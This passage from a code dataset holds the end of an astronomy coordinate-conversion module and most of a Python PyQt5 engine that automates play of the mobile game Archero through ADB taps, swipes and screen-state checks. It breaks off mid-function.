self.a2=N.array([int(float(dd)),int(float(mm)),float(ss)])\n\n        #Check & fix for negativity\n        if a2.startswith('-'):\n            self.a2sign = '-'\n            self.a2*= -1\n        else:\n            self.a2sign = '+'\n\n\n    def __repr__(self):\n        \"\"\"\n        Returns\n        -------\n        string\n\n        \"\"\"\n        return \"%dh %dm %5.3fs %s%dd %dm %5.3fs\"%(self.a1[0],self.a1[1],self.a1[2],self.a2sign,abs(self.a2[0]),abs(self.a2[1]),abs(self.a2[2]))\n\n    def _calcinternal(self):\n        \"\"\"\n        Convert hmsdms to decimal degrees.\n\n        Returns\n        -------\n        a1, a2 : (float, float)\n            Decimal degrees.\n\n        \"\"\"\n        a1= 15*self.a1[0] +   15*self.a1[1]/60.  +  15*self.a1[2]/3600.\n        a2=abs(self.a2[0]) + abs(self.a2[1])/60. + abs(self.a2[2])/3600.\n        if self.a2sign == '-':\n            a2 = a2*(-1)\n        return a1,a2\n\n#---------------------------------------------------------------\n#Utility functions\ndef dms(number):\n    \"\"\"\n    Convert from decimal to sexagesimal degrees,minutes,seconds.\n\n    Parameters\n    ----------\n    number : number\n\n    Returns\n    -------\n    sign, dd, mm, ss : (string, int, int, float)\n        Sign, degrees, minutes, and seconds.\n\n    \"\"\"\n    if (number < 0):\n        sign='-'\n    else:\n        sign='+'\n\n    ss=abs(3600.*number)\n    mm=abs(60.*number)\n    dd=abs(number)\n\n    dd=int(dd)\n    mm = int(mm-60.*dd)\n    ss = ss - 3600.*dd - 60.*mm\n    dd = int(dd)\n\n    return sign,dd,mm,ss\n\n#Great circle distance formulae:\n# source http://wiki.astrogrid.org/bin/view/Astrogrid/CelestialCoordinates\n\ndef hav(theta):\n    \"\"\"\n    haversine function, units = radians.\n    Used in calculation of great circle distance.\n\n    Parameters\n    ----------\n    theta : number\n        Angle in radians.\n\n    Returns\n    -------\n    ans : number\n\n    \"\"\"\n    ans = (math.sin(0.5*theta))**2\n    return ans\n\ndef ahav(x):\n    \"\"\"\n    archaversine function, units = radians.\n    Used in calculation of great circle distance.\n\n    Parameters\n    ----------\n    x : number\n\n    Returns\n    -------\n    ans : number\n        Angle in radians.\n\n    \"\"\"\n    ans = 2.0 * math.asin(math.sqrt(x))\n    return ans\n\ndef gcdist(vec1, vec2):\n    \"\"\"\n    Input (ra,dec) vectors in radians;\n    output great circle distance in radians.\n\n    Parameters\n    ----------\n    vec1, vec2 : number\n        Position in radians.\n\n    Returns\n    -------\n    ans : number\n        Great circle distance in radians.\n\n    References\n    ----------\n    http://wiki.astrogrid.org/bin/view/Astrogrid/CelestialCoordinates\n    \n    \"\"\"\n    ra1,dec1=vec1\n    ra2,dec2=vec2\n    ans=ahav( hav(dec1-dec2) + math.cos(dec1)*math.cos(dec2)*hav(ra1-ra2) )\n    return ans\n","repo_name":"spacetelescope/astrolib.coords","sub_path":"lib/astrolib/coords/position.py","file_name":"position.py","file_ext":"py","file_size_in_byte":16590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"43674990828","text":"import logging\nimport json\nimport time\nfrom datetime import datetime\nfrom PyQt5.QtCore import QObject, pyqtSignal\nfrom src.UsbConnector import UsbConnector\nfrom src.GameScreenConnector import GameScreenConnector\nfrom src.StatisticsManager import StatisticsManager\nfrom src.Utils import loadJsonData, readAllSizesFolders, buildDataFolder, getCoordFilePath\nfrom src.GameChapters import DungeonLevelType, BuildChapters, BuildLevelsTypes, MaxLevelFromType\nfrom src.BotStrategies import HealingStrategy, EnergyStrategy, VIPSub, BattlepassAdvSub, ReviveIfDead\nfrom src.LocalEngineSettingsManager import LocalEngineSettingsManager, LocalEngineSettings\nimport os\n\n\nclass CaveEngine(QObject):\n    levelChanged = pyqtSignal(int, name=\"levelChanged\")\n    addLog = pyqtSignal(str, name=\"addLog\")\n    resolutionChanged = pyqtSignal(int, int, name=\"resolutionChanged\")\n    dataFolderChanged = pyqtSignal(str, name=\"dataFolderChanged\")\n    noEnergyLeft = pyqtSignal(name=\"noEnergyLeft\")\n    gameWon = pyqtSignal(name=\"gameWon\")\n    gamePaused = pyqtSignal(name=\"gamePaused\")\n    healingStrategyChanged = pyqtSignal(HealingStrategy, name=\"healingStrategyChanged\")\n    energyStrategyChanged = pyqtSignal(EnergyStrategy, name=\"energyStrategyChanged\")\n    vipSubChanged = pyqtSignal(VIPSub, name=\"vipSubChanged\")\n    bpadvSubChanged = pyqtSignal(BattlepassAdvSub, name=\"bpadvSubChanged\")\n    reviveIfDeadChanged = pyqtSignal(ReviveIfDead, name=\"reviveIfDeadChanged\")\n    currentDungeonChanged = pyqtSignal(int, name=\"currentDungeonChanged\")\n\n    max_level = 20  # set loops for playCave and linked to GUI logs(default is 20, DO NOT CHANGE)\n    playtime = 60  # set loop time for letPlay (default 60, total loops = playtime/self.check_seconds)\n    max_loops_popup = 10  # set loops for reactGamePopups (default 10, times to check for popups)\n    max_loops_game = 1000  # set loops for start_one_game (default 100, farming cycles)\n    max_wait = 5  # set loops for final_boss (default 5, increase sleep screens if needed more time)\n    sleep_btw_screens = 8  # set wait between loops for final_boss (default 8, in seconds)\n\n    UseGeneratedData = False  # Set True to use TouchManager generated data\n\n    coords_path = 'coords'\n    buttons_filename = \"buttons.json\"\n    movements_filename = \"movements.json\"\n    print_names_movements = {\n        \"n\": \"up\",\n        \"s\": \"down\",\n        \"e\": \"right\",\n        \"w\": \"left\",\n        \"ne\": \"up-right\",\n        \"nw\": \"up-left\",\n        \"se\": \"down-right\",\n        \"sw\": \"down-left\",\n    }\n\n    allowed_chapters = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]\n\n    ''' dictionary of strings (chapter number), each one is a ChapterInfo '''\n    chapters_info = BuildChapters()\n\n    ''' dictionary of ChapterLevelType, each one is a dictionary of int num -> DungeonLevelType '''\n    levels_info = BuildLevelsTypes()\n\n    '''\n    -------------------------------\n    Statistics Key:\n    startStatus -- 0 Unknown, 1 Normal, 2 Crash-Desktop\n    endStatus -- 0 Unknown, 1 Main-Screen, 2 Crash_Desktop, 3 Screen-Unknown,\n    4 Exception-Unknown, 5 Won-Game, 6 Exit-Engine, 7 You-Died, 8 Probably-Won,\n    9 Probably-Stuck, 10 Paused-Game\n    -------------------------------\n    '''\n\n    def __init__(self, dev_connector: UsbConnector, datas_dir: str):\n        super(QObject, self).__init__()\n        self.data_path = datas_dir\n        self.deadcheck = False  # controled by GUI dropdown, works <50% of time to revive; costs gems unless BPAdv Sub\n        self.battle_pass_advanced = False\n        self.buy_energy = False\n        self.max_buy_energy = 0\n        self.smartHealChoice = False  # controled by GUI dropdown, works >90% of the time\n        self.currentLevel = 0\n        self.startStatus = 0  # Status-Unknown\n        self.endStatus = 0  # Status-Unknown\n        self.unknownStatus = 0  # Count of Unknown State Detections Default = 0\n        self.restartStatus = False  # Extra movement neede upon level crash\n        self.currentDungeon = 6\n        self.check_seconds = 6\n        self.energy_count = 1\n        self.tier_list_abilities = self.load_tier_list()\n        self.statisctics_manager = StatisticsManager()\n        self.start_date = datetime.now()\n        self.stat_lvl_start = 0\n        self.screen_connector = GameScreenConnector(datas_dir)\n        self.screen_connector.debug = False  # set true to see screen_connector degbug messages in console\n        self.width, self.heigth = 1080, 1920\n        self.device_connector = dev_connector\n        self.device_connector.setFunctionToCallOnConnectionStateChanged(self.onConnectionStateChanged)\n        self.buttons = {}\n        self.movements = {}\n        self.disable_UI_logs = False  # do not change\n        self.stopRequested = False  # do not change\n        self.currentDataFolder = ''\n        self.dataFolders = {}\n        self.centerAfterCrossingDungeon = False  # do not ghange\n        self.local_settings_path = 'current_settings.json'\n        self.local_settings_manager = LocalEngineSettingsManager(self.local_settings_path)\n        self.local_settings: LocalEngineSettings = self.local_settings_manager.load()\n        self.initLocalSettings()\n\n    def load_tier_list(self) -> dict:\n        logging.log(logging.DEBUG - 5, \"Loading Abilities Tier List\")\n        file = os.path.join(self.data_path, \"abilities\", \"tier_list.json\")\n        with open(file) as file_in:\n            return json.load(file_in)\n\n    def initDataFolders(self):\n        logging.log(logging.DEBUG - 5, \"Initalizing Data Folders\")\n        self.dataFolders = readAllSizesFolders(self.data_path)\n        deviceFolder = buildDataFolder(self.width, self.heigth)\n        first_folder = list(self.dataFolders.keys())[0]\n        if deviceFolder not in self.dataFolders:\n            logging.error(\"Not having %s coordinates. Trying with %s\" % (deviceFolder, first_folder))\n            deviceFolder = first_folder\n        self.changeCurrentDataFolder(deviceFolder)\n\n    def initLocalSettings(self):\n        self.screen_connector.abilities_treshold = self.local_settings.threshold_abilities\n        self.currentDungeon = self.local_settings.selected_dungeon\n        if self.screen_connector.abilities_treshold <= 0:\n            logging.warning(\"current abilities threshold is negative! setting to positive num 2\")\n            self.screen_connector.abilities_treshold = 2\n            self.local_settings.threshold_abilities = 2\n            self.local_settings_manager.save(self.local_settings)\n\n    def changeHealStrategy(self, strat: HealingStrategy):\n        logging.debug(\"Loading Heal Strategy\")\n        self.local_settings.healing_strategy = strat\n        self.local_settings_manager.save(self.local_settings)\n        self.healingStrategyChanged.emit(strat)\n\n    def changeEnergyStrategy(self, strat: EnergyStrategy):\n        logging.debug(\"Loading Energy Strategy\")\n        self.local_settings.energy_strategy = strat\n        self.local_settings_manager.save(self.local_settings)\n        self.energyStrategyChanged.emit(strat)\n\n    def changeVIPSub(self, strat: VIPSub):\n        logging.debug(\"Updating VIP Subscripton\")\n        self.local_settings.vipSub = strat\n        self.local_settings_manager.save(self.local_settings)\n        self.vipSubChanged.emit(strat)\n\n    def changeBattlepassAdvSub(self, strat: BattlepassAdvSub):\n        logging.debug(\"Updating Battlepass Choice\")\n        self.local_settings.bpadv_sub = strat\n        self.local_settings_manager.save(self.local_settings)\n        self.bpadvSubChanged.emit(strat)\n\n    def changeReviveIfDead(self, strat: ReviveIfDead):\n        logging.debug(\"Updating Revive Choice\")\n        self.local_settings.revive_ifdead = strat\n        self.local_settings_manager.save(self.local_settings)\n        self.reviveIfDeadChanged.emit(strat)\n\n    def changeChapter(self, new_chapter: int):\n        logging.debug(\"Updating Selected Dungeon\")\n        self.currentDungeon = new_chapter\n        self.local_settings.selected_dungeon = new_chapter\n        self.local_settings_manager.save(self.local_settings)\n        self.currentDungeonChanged.emit(new_chapter)\n\n    def onConnectionStateChanged(self, connected):\n        logging.log(logging.DEBUG - 5, \"Detecting Connection State\")\n        if connected:\n            logging.log(logging.DEBUG - 5, \"Device Detected\")\n            self.initDataFolders()\n            self.screen_connector.changeDeviceConnector(self.device_connector)\n            self.updateScreenSizeByPhone()\n        else:\n            logging.warning(\"No Device Detected\")\n\n    def updateScreenSizeByPhone(self):\n        if self.device_connector is not None:\n            w, h = self.device_connector.adb_get_size()\n            self.changeScreenSize(w, h)\n            self.screen_connector.changeScreenSize(w, h)\n        else:\n            logging.warning(\"Device connector is none. initialize it before calling this method!\")\n\n    def changeCurrentDataFolder(self, new_folder):\n        self.currentDataFolder = new_folder\n        self.loadCoords()\n        self.dataFolderChanged.emit(new_folder)\n\n    def loadCoords(self):\n        logging.log(logging.DEBUG - 5, \"Loading Coordinates\")\n        self.buttons = loadJsonData(getCoordFilePath(self.buttons_filename, sizePath=self.currentDataFolder))\n        self.movements = loadJsonData(getCoordFilePath(self.movements_filename, sizePath=self.currentDataFolder))\n\n    def setPauseRequested(self):\n        logging.log(logging.DEBUG - 5, \"Pause Requested\")\n        self.stopRequested = True\n        self.screen_connector.stopRequested = True\n        self.changeEndStatus(self.endStatus + 10)  # Pause-Requested\n        self.runStatiscticsSave()\n\n    def setStopRequested(self):\n        logging.log(logging.DEBUG - 5, \"Stop Requested\")\n        self.stopRequested = True\n        self.screen_connector.stopRequested = True\n\n    def setStartRequested(self):\n        logging.log(logging.DEBUG - 5, \"Start Requested\")\n        self.stopRequested = False\n        self.screen_connector.stopRequested = False\n        self.gamePaused.emit()\n\n    def changeScreenSize(self, w, h):\n        self.width, self.heigth = w, h\n        logging.debug(\"New resolution set: %dx%d\" % (self.width, self.heigth))\n        self.resolutionChanged.emit(w, h)\n\n    def log(self, log: str):\n        \"\"\"\n        Logs an important move in the bot game\n        \"\"\"\n        if not self.disable_UI_logs:\n            self.addLog.emit(log)\n\n    def swipe_points(self, start, stop, s):\n        start = self.buttons[start]\n        stop = self.buttons[stop]\n        logging.debug(\"Swiping between %s and %s in %f\" % (start, stop, s))\n        self.device_connector.adb_swipe([start[0] * self.width,\n                                         start[1] * self.heigth,\n                                         stop[2] * self.width,\n                                         stop[3] * self.heigth], s)\n\n    def swipe(self, name: str, s: float):\n        if self.stopRequested:\n            exit()\n        name = name.lower()  # just in case we wrote something in capital ketters\n        if name not in self.movements:\n            logging.error(\"Movement '{}' not in movements list\".format(name))\n        coord = self.movements[name]\n        logging.debug(\"Swiping %s in %f\" % (self.print_names_movements[name], s))\n        self.log(\"Swipe %s in %.2f\" % (self.print_names_movements[name], s))\n        # convert back from normalized values\n        self.device_connector.adb_swipe([coord[0][0] * self.width,\n                                         coord[0][1] * self.heigth,\n                                         coord[1][0] * self.width,\n                                         coord[1][1] * self.heigth], s)\n\n    def tap(self, name):\n        if self.stopRequested:\n            exit()\n        self.log(\"Tap %s\" % name)\n        # convert back from normalized values\n        x, y = int(self.buttons[name][0] * self.width), int(self.buttons[name][1] * self.heigth)\n        logging.debug(\"Tapping on %s at [%d, %d]\" % (name, x, y))\n        self.device_connector.adb_tap((x, y))\n\n    def wait(self, s):\n        decimal = s\n        if int(s) > 0:\n            decimal = s - int(s)\n            for _ in range(int(s)):\n                if self.stopRequested:\n                    exit()\n                time.sleep(1)\n        if self.stopRequested:\n            exit()\n        time.sleep(decimal)\n\n    def changeCurrentLevel(self, new_lvl):\n        self.currentLevel = new_lvl\n        self.levelChanged.emit(self.currentLevel)\n\n    def changeStartStatus(self, new_SS):\n        self.startStatus = new_SS\n\n    def changeEndStatus(self, new_ES):\n        self.endStatus = new_ES\n\n    def quick_test_functions(self):\n        pass\n\n    def start_infinite_play(self):\n        while True:\n            self.start_one_game()\n            self.currentLevel = 0\n\n    def exit_dungeon_uncentered(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_uncentered\")\n        if self.screen_connector.getFrameState() != \"in_game\":\n            self.reactGamePopups()\n        self.log(\"No Loot Left\")\n        self.log(\"Leaveing Dungeon\")\n        if self.currentDungeon == 3 or self.currentDungeon == 6:\n            self.exit_movement_dungeon6()\n        elif self.currentDungeon == 7 or self.currentDungeon == 14:\n            self.exit_movement_dungeon_7()\n        elif self.currentDungeon == 10:\n            self.exit_movement_dungeon10()\n        elif self.currentDungeon == 16:\n            self.exit_movement_dungeon16()\n        elif self.currentDungeon == 18:\n            self.exit_movement_dungeon18()\n        elif self.currentDungeon == 20:\n            self.exit_movement_dungeon20()\n        else:\n            self.exit_movement_dungeon_old()\n        self.log(\"Left Dungeon\")\n        self.wait(0.5)  # wait to load to GUI\n        self.exit_dungeon_uncentered_simplified()\n\n    def exit_dungeon_uncentered_simplified(self, do_second_check=True):\n        if do_second_check:\n            logging.log(logging.DEBUG - 5, \"exit_dungeon_uncentered_simplified_check\")\n            if self.screen_connector.getFrameState() == \"endgame\":\n                logging.debug(\"Endgame Detected and Return\")\n                self.exit_dungeon_uncentered_simplified(do_second_check=False)\n                return\n            elif self.screen_connector.getFrameState() != \"in_game\":\n                logging.debug(\"NOT in_game Detected\")\n                self.reactGamePopups()\n                self.exit_dungeon_uncentered_simplified(do_second_check=False)\n                if self.currentDungeon == 3 or self.currentDungeon == 6:\n                    self.exit_movement_dungeon6()\n                elif self.currentDungeon == 7 or self.currentDungeon == 14:\n                    self.exit_movement_dungeon_7()\n                elif self.currentDungeon == 10 or self.currentDungeon == 16:\n                    self.exit_movement_dungeon10()\n                elif self.currentDungeon == 20:\n                    self.exit_movement_dungeon20()\n                else:\n                    self.exit_movement_dungeon_old()\n                self.log(\"Left Dungeon Again\")\n                self.wait(0.5)  # wait to load to GUI\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_uncentered_simplified\")\n\n    def exit_movement_dungeon_old(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_old 'Improved'\")\n        # self.centerPlayer()\n        self.move_macro(0,\n                        [['n', 3], ['ne', .5], ['nw', 3], ['ne', 3], ['nw', 3], ['ne', 3], ['w', .7]])\n\n    def exit_movement_dungeon_7(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_7\")\n        self.swipe('w', .7)\n        self.swipe('ne', 1.9)\n\n    def exit_movement_dungeon6(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_6\")\n        self.swipe('w', 2)\n        self.swipe('ne', 3)\n\n    def exit_movement_dungeon10(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_10\")\n        self.swipe('e', 1.5)\n        self.swipe('nw', 3)\n\n    def exit_movement_dungeon16(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_16\")\n        self.swipe('e', 1.2)\n        self.swipe('nw', 3)\n\n    def exit_movement_dungeon18(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_18\")\n        self.swipe('e', 1)\n        self.swipe('nw', 3)\n\n    def exit_movement_dungeon20(self):\n        logging.log(logging.DEBUG - 5, \"exit_dungeon_20\")\n        self.swipe('e', 1.5)\n        self.swipe('nw', 3)\n\n    def goTroughDungeon20(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon (designed for #20)\")\n        self.log(\"Crossing Dungeon 20\")\n        self.swipe('n', 2)\n        self.swipe('nw', 2.2)\n        if self.currentLevel == 16:\n            self.move_macro(0, [['s', .5], ['e', .5], ['n', .5]])\n        else:\n            self.move_macro(0, [['s', .3], ['e', .5], ['n', .3]])\n        self.move_macro(0, [['ne', 1.8], ['s', .3], ['w', .5], ['n', .3], ['nw', 1.5], ['ne', 1]])\n\n    def goTroughDungeon18(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon (designed for #18)\")\n        self.log(\"Crossing Dungeon 18\")\n        self.move_macro(0, [['n', 2], ['nw', 2], ['ne', 3], ['nw', 2], ['e', .7]])\n        if self.currentLevel == 6:\n            self.swipe('w', .4)\n        elif self.currentLevel == 11 or self.currentLevel == 12 or self.currentLevel == 13:\n            self.swipe('n', 2)\n            self.swipe('nw', .5)\n\n    def goTroughDungeon10(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon (designed for #10)\")\n        self.log(\"Crossing Dungeon 10\")\n        self.move_macro(0, [['n', .5], ['nw', 2.5], ['ne', 2.5], ['nw', 1.8], ['ne', 1], ['w', .7],\n                            ['s', .6], ['e', .35], ['ne', .4], ['n', 2.5], ['s', .3], ['w', .35], ['nw', .4], ['n', 1]])\n        if self.currentLevel == 18:\n            self.move_macro(0, [['w', .3], ['s', .35], ['ne', .4], ['n', .4]])\n\n    def goTroughDungeon16(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon (designed for #16)\")\n        self.log(\"Crossing Dungeon 16\")\n        self.move_macro(0, [['n', .5], ['nw', 2.5], ['ne', 2.5], ['nw', 1.8], ['ne', 1], ['w', .7]])\n        if self.currentLevel == 11 or self.currentLevel == 18:\n            self.move_macro(0, [['sw', .6], ['nw', .8]])\n        self.move_macro(0, [['se', .65], ['e', .7], ['nw', .55], ['ne', .7], ['w', .3], ['s', .6],\n                            ['sw', .3], ['nw', .7]])\n        if self.currentLevel == 6:\n            self.move_macro(0, [['s', .4], ['e', .5], ['nw', .6]])\n        elif self.currentLevel == 11 or self.currentLevel == 18:\n            self.move_macro(0, [['e', .3], ['n', .3], ['nw', .4]])\n        self.move_macro(0, [['ne', .55], ['w', .3], ['n', 1.5]])\n\n    def goTroughDungeon6(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon (designed for #6)\")\n        self.log(\"Crossing Dungeon 6\")\n        self.move_macro(0, [['n', 1.5], ['w', .3], ['n', .6], ['e', .6], ['n', .6], ['w', .6],\n                            ['n', 1.5], ['e', .3], ['n', 2]])\n\n    def goTroughDungeon3(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon (designed for #3)\")\n        self.log(\"Crossing Dungeon 3\")\n        self.move_macro(0, [['n', 1.5], ['w', .25], ['n', .5], ['e', .25], ['n', 2], ['w', 1],\n                            ['n', .5], ['e', 1], ['n', 1.5]])\n\n    def goTroughDungeon_old(self):\n        logging.log(logging.DEBUG - 5, \"Going through dungeon old 'Improved'\")\n        self.log(\"Crossing Dungeon (Improved)\")\n        self.move_macro(0, [['n', 3], ['ne', .5], ['nw', 3], ['ne', 3], ['nw', 3], ['ne', 3],\n                            ['w', .7]])\n\n    def goTroughDungeon(self):\n        if self.currentDungeon == 3:\n            self.goTroughDungeon3()\n        elif self.currentDungeon == 6:\n            self.goTroughDungeon6()\n        elif self.currentDungeon == 10:\n            self.goTroughDungeon10()\n        elif self.currentDungeon == 16:\n            self.goTroughDungeon16()\n        elif self.currentDungeon == 18:\n            self.goTroughDungeon18()\n        elif self.currentDungeon == 20:\n            self.goTroughDungeon20()\n        else:\n            self.goTroughDungeon_old()\n\n    def centerPlayer(self):  # still not working correctly always 540px to left.\n        px, direction = self.screen_connector.getPlayerDecentering()\n        duration = 0.001 * abs(px) - 5\n        if px < self.screen_connector.door_width:\n            pass\n        if direction == 'left':\n            self.log(\"Centered Player <--\")\n            self.swipe('e', duration)\n        elif direction == 'right':\n            self.log(\"Centered Player -->\")\n            self.swipe('w', duration)\n        elif direction == \"center\":\n            pass\n\n    def move_macro(self, delay: float, coord_and_dur: list):\n        \"\"\"\n        Args:\n            delay: delay time between one movement and other\n            coord_and_dur: list of lists having a movement string e.g. 'nw' and a time e.g. 2.1\n                           example: coord_and_dur = [['n', 2], ['e', .9], ['so', .6], ['s', 1]]\n        \"\"\"\n        for d, t in coord_and_dur:\n            self.swipe(d, t)\n            self.wait(delay)\n\n    def letPlay(self, _play_time: int, is_boss=False):\n        start_exp_bar = self.screen_connector.getLineExpBar()\n        recheck = False\n        logging.debug(\"Let-Play. Auto playing...\")\n        self.log(\"Searching Dungeon\")\n        if self.deadcheck or self.battle_pass_advanced:\n            self.checkIfDead()\n        for i in range(_play_time, 0, -1):\n            if i % self.check_seconds == 0 or recheck:\n                recheck = False\n                frame = self.screen_connector.getFrame()\n                state = self.screen_connector.getFrameState(frame)\n                logging.debug(\"Loop Countdown / Kill Timer\")\n                logging.debug(i)\n                logging.debug(\"Let Play. Checking screen...\")\n                logging.debug(\"state: %s\" % state)\n                if state == \"in_game\":\n                    continue_loop = self.letPlay_ingame(i, _play_time, start_exp_bar, frame, check_exp_bar=not is_boss)\n                else:\n                    continue_loop, recheck = self.letPlay_outgame(i, state)\n                if not continue_loop:\n                    return\n\n    def letPlay_ingame(self, i:int, _time, start_exp_bar: list, frame: int, check_exp_bar: bool) -> bool:\n        \"\"\"\n        Manages in game loop with screen checks to see if it solved the room or not.\n        @param i: Loop index\n        @param _time: max play time allowed for outher loop\n        @param start_exp_bar: start experience upper bar (checks if changed)\n        @param frame: the screen frame to see what's in the game\n        @param check_exp_bar: know if to check upper experience bar or not\n        @return: continue_loop as continue the loop in game\n        \"\"\"\n        # added movement to increase kill enemy efficency for 10 level chapters\n        if self.currentDungeon == 7 or self.currentDungeon == 14:\n            logging.debug(\"Avoiding Boss\")\n            self.log(\"Avoiding Boss\")\n            self.checkIfDead()\n            if self.deadcheck or self.battle_pass_advanced and self.currentLevel > 3:\n                moves = [['sw', 1.5], ['se', 1], ['e', .6], ['n', .5], ['ne', 1.2], ['w', .4], ['ne', 1], ['w', .7]]\n                for d, t in moves:\n                    self.swipe(d, t)\n                    self.checkIfDead()\n            else:\n                self.move_macro(1, [['sw', 1.5], ['se', 1], ['e', .6], ['n', .5], ['ne', 1.2],\n                                    ['w', .4], ['ne', 1], ['w', .7]])\n        # added movement to increase kill enemy efficency for 20 level chapters\n        elif self.currentDungeon == 3 or self.currentDungeon == 6 or \\\n                self.currentDungeon == 10 or self.currentDungeon == 16 or \\\n                self.currentDungeon == 18 or self.currentDungeon == 20:\n            logging.debug(\"Doing patrol\")\n            self.log(\"Doing Patrol\")\n            self.checkIfDead()\n            if self.deadcheck or self.battle_pass_advanced and self.currentLevel > 4:\n                for d, t in [['w', .35], ['e', .7], ['W', .7], ['w', .7], ['e', .37]]:\n                    self.swipe(d, t)\n                    self.checkIfDead()\n            else:\n                self.move_macro(2, [['w', .35], ['e', .7], ['W', .7], ['w', .7], ['e', .37]])\n        # added random escape methods for 30, 50 level chapters\n        else:\n            if i > _time * .8:\n                logging.debug(\"Let-Play. Time < 100%\")\n                self.log(\"Escape route #1\")\n                self.move_macro(.1, [['s', .6], ['w', .4], ['nw', 2], ['ne', 3], ['s', .6],\n                                     ['e', .4], ['ne', 2], ['nw', 3]])\n            if _time * .6 < i <= _time * .8:\n                logging.debug(\"Let-Play. Time < 80%\")\n                self.log(\"Escape route #2\")\n                self.move_macro(.1, [['s', .5], ['sw', 2], ['n', 1], ['nw', 2], ['ne', 2],\n                                     ['s', .5], ['se', 2], ['n', 1], ['ne', 2], ['nw', 2]])\n            if _time * .4 < i <= _time * .6:\n                logging.debug(\"Let-Play. Time < 60%\")\n                self.log(\"Escape route #3\")\n                self.move_macro(.1, [['s', .3], ['ne', 1], ['nw', 2], ['s', .3], ['nw', 1],\n                                     ['ne', 2]])\n            if _time * .2 < i <= _time * .4:\n                logging.debug(\"Let-Play. Time < 40%\")\n                self.log(\"Escape route #4\")\n                self.move_macro(.1, [['sw', 2], ['n', 1], ['ne', 2], ['se', 2], ['w', 1],\n                                     ['ne', 2], ['ne', 2]])\n            if i <= _time * .2:\n                logging.debug(\"Let-Play. Time < 20%\")\n                self.log(\"Escape route #4\")\n                self.move_macro(.1, [['se', 2], ['n', 1], ['nw', 2], ['sw', 2], ['n', 2],\n                                     ['ne', 2], ['nw', 2]])\n        logging.debug(\"Start. Exp & Door Checks\")\n        if check_exp_bar and self.screen_connector.checkExpBarHasChanged(start_exp_bar, frame):\n            logging.debug(\"Level ended. Experience gained!\")\n            self.log(\"Gained Experience\")\n            return False\n        elif self.screen_connector.checkDoorsOpen(frame):\n            logging.debug(\"Door is OPEN #1 <---------######\")\n            self.log(\"Door 1 is Open\")\n            return False\n        elif self.screen_connector.checkDoorsOpen1(frame):\n            logging.debug(\"Door is OPEN #2 <---------######\")\n            self.log(\"Door 2 is Open\")\n            return False\n        elif self.screen_connector.checkDoorsOpen2(frame):\n            logging.debug(\"Door is OPEN #3 <---------######\")\n            self.log(\"Door 3 is Open\")\n            return False\n        else:\n            if i <= _time * .75:\n                logging.debug(\"Moving closer to door\")\n                self.swipe('n', .1)\n            logging.debug(\"Still playing but level not ended\")\n        logging.debug(\"End. Exp & Door Checks\")\n        return True\n\n    def letPlay_outgame(self, i: int, state: str) -> (bool, bool):\n        \"\"\"\n        Manages archero not in game mode.\n        @return: (continue_loop, recheck) as continue the loop in game and if screen recheck is needed\n        \"\"\"\n        logging.debug(f\"State Checks Start on {i}\")\n        if state == \"endgame\" or state == \"repeat_endgame_question\":\n            self.changeEndStatus(self.endStatus + 7)  # You-Died\n            logging.debug(\"React-Popup. Endgame Detected\")\n            if state == \"repeat_endgame_question\":\n                logging.info(\"Letplay state: %s\" % state)\n                if self.deadcheck or self.battle_pass_advanced:\n                    self.pressIfDead()\n                else:\n                    logging.info(\"Turn on 'DeadCheck' to use gems to revive!\")\n                    self.wait(3)\n                    logging.info(\"Sorry, you most likely died.\")\n                    self.altEndgameClose()\n            else:\n                logging.info(\"Sorry, you most likely died.\")\n                self.altEndgameClose()\n        elif state == \"ability_refresh\":\n            logging.debug(\"Cancel Abilty Refresh\")\n            self.tap('close_ability_refresh')\n            self.wait(1)\n        elif state == \"menu_home\" or state == \"menu_talents\" or state == \"menu_events\" or \\\n                state == \"menu_equip\" or state == \"menu_shop\":\n            raise Exception('mainscreen')\n        elif state == \"crash_desktop_open\":\n            raise Exception('crashdesktop')\n        elif state == \"select_ability\":\n            logging.debug(\"Level ended. New Abilities.\")\n            self.log(\"New Abilities\")\n            return False, False\n        elif state == \"fortune_wheel\":\n            logging.debug(\"Level ended. Fortune Wheel.\")\n            self.log(\"Fortune Wheel\")\n            return False, False\n        elif state == \"devil_question\":\n            logging.debug(\"Level ended. Devil Arrived.\")\n            self.log(\"Devil Arrived\")\n            return False, False\n        elif state == \"mistery_vendor\":\n            logging.debug(\"Level ended. Mystery Vendor.\")\n            self.log(\"Mystery Vendor\")\n            return False, False\n        elif state == \"ad_ask\":\n            logging.debug(\"Level ended. Ad Ask.\")\n            self.log(\"Ad Ask\")\n            return False, False\n        elif state == \"angel_heal\":\n            logging.debug(\"Level ended. Angel Appeared.\")\n            self.log(\"Angel Arrived\")\n            return False, False\n        elif state == \"unknown\":\n            logging.debug(\"Unknown screen situation detected. Checking again...\")\n            if self.screen_connector.getFrameState() == \"unknown\":\n                self.wait(8)  # wait before double check\n                logging.debug(\"Unknown screen situation detected. Checking again x2...\")\n                if self.screen_connector.getFrameState() == \"unknown\":\n                    raise Exception('unknown_screen_state')\n                else:\n                    return True, True\n            else:\n                return True, True\n        logging.debug(\"State Checks End\")\n        return True, False\n\n    def reactGamePopups(self) -> int:\n        state = \"\"\n        i = 0\n        while state != \"in_game\":\n            if self.stopRequested:\n                exit()\n            self.wait(1)\n            state = self.screen_connector.getFrameState()\n            logging.debug(\"state: %s\" % state)\n            logging.debug(\"React-Popups. Checking screen...\")\n            if state == \"endgame\" or state == \"repeat_endgame_question\":\n                logging.debug(\"React-Popup. Endgame Detected\")\n                if state == \"repeat_endgame_question\":\n                    self.changeEndStatus(self.endStatus + 7)  # You-Died\n                    logging.info(\"Popups state: %s\" % state)\n                    if self.deadcheck or self.battle_pass_advanced:\n                        